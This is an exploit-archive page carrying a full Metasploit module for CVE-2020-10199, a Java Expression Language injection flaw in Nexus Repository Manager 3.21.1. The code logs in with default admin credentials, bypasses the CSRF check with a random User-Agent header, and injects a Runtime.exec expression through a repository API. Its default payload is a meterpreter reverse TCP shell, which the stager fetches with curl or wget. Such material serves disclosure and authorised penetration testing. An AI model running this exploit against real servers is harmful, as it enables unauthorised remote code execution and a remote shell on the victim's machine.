Nexus Repository Manager 3.21.1-01 Remote Code Execution

2020.04.18
Credit: Alvaro Munoz
Risk: High
Local: No
Remote: Yes
CWE: CWE-862


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Nexus Repository Manager Java EL Injection RCE', 'Description' => %q{ This module exploits a Java Expression Language (EL) injection in Nexus Repository Manager versions up to and including 3.21.1 to execute code as the Nexus user. Tested against 3.21.1-01. }, 'Author' => [ 'Alvaro Muñoz', # Discovery 'wvu' # Module ], 'References' => [ ['CVE', '2020-10199'], ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'], ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31'] ], 'DisclosureDate' => '2020-03-31', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}, 'CmdStagerFlavor' => %i[curl wget], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ Opt::RPORT(8081), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Nexus username', 'admin']), OptString.new('PASSWORD', [true, 'Nexus password', 'admin']) ]) end def post_auth? # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967 true end # Send a GET / request to the server, check the response for a Server header # containing the Nexus version, and then check if it's a vulnerable version def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.headers['Server'] return CheckCode::Unknown('Target did not respond with Server header.') end # Example Server header: # Server: Nexus/3.21.1-01 (OSS) version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first unless version return CheckCode::Unknown('Target did not respond with Nexus version.') end if Gem::Version.new(version) <= Gem::Version.new('3.21.1') return CheckCode::Appears("Nexus #{version} is a vulnerable version.") end CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super print_status("Executing command stager for #{datastore['PAYLOAD']}") # This will drop a binary payload to disk and execute it! execute_cmdstager( noconcat: true, cookie: login(datastore['USERNAME'], datastore['PASSWORD']) ) end def login(username, password) print_status("Logging in with #{username}:#{password}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/service/rapture/session'), 'vars_post' => { 'username' => Rex::Text.encode_base64(username), 'password' => Rex::Text.encode_base64(password) }, 'partial' => true # XXX: Return partial response despite timeout }, 3.5) unless res fail_with(Failure::Unknown, 'Target did not respond to login request') end cookie = res.get_cookies unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/) fail_with(Failure::NoAccess, 'Could not log in with specified creds') end print_good("Logged in with #{cookie}") cookie end # This is defined so that CmdStager can use it! def execute_command(cmd, opts = {}) vprint_status("Executing command: #{cmd}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/service/rest/beta/repositories/go/group'), # HACK: Bypass CSRF token with random User-Agent header 'agent' => rand_text_english(8..42), 'cookie' => opts[:cookie], 'ctype' => 'application/json', 'data' => json_payload(cmd) ) unless res fail_with(Failure::Unknown, 'Target did not respond to payload request') end unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/) fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}") end print_good("Successfully executed command: #{cmd}") end # PoC based off API docs for /service/rest/beta/repositories/go/group: # http://localhost:8081/#admin/system/api def json_payload(cmd) { 'name' => 'internal', 'online' => true, 'storage' => { 'blobStoreName' => 'default', 'strictContentTypeValidation' => true }, 'group' => { # XXX: memberNames has to be an array, but the API example was a string 'memberNames' => [el_payload(cmd)] } }.to_json end # Helpful resource from which I borrowed the EL payload: # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf def el_payload(cmd) # HACK: Format our EL expression nicely and then strip introduced whitespace el = <<~EOF.gsub(/\s+/, '') ${ "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke( "".getClass().forName("java.lang.Runtime") ).exec("PATCH_ME") } EOF # Patch in our command, escaping any double quotes el.sub('PATCH_ME', cmd.gsub('"', '\\"')) end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top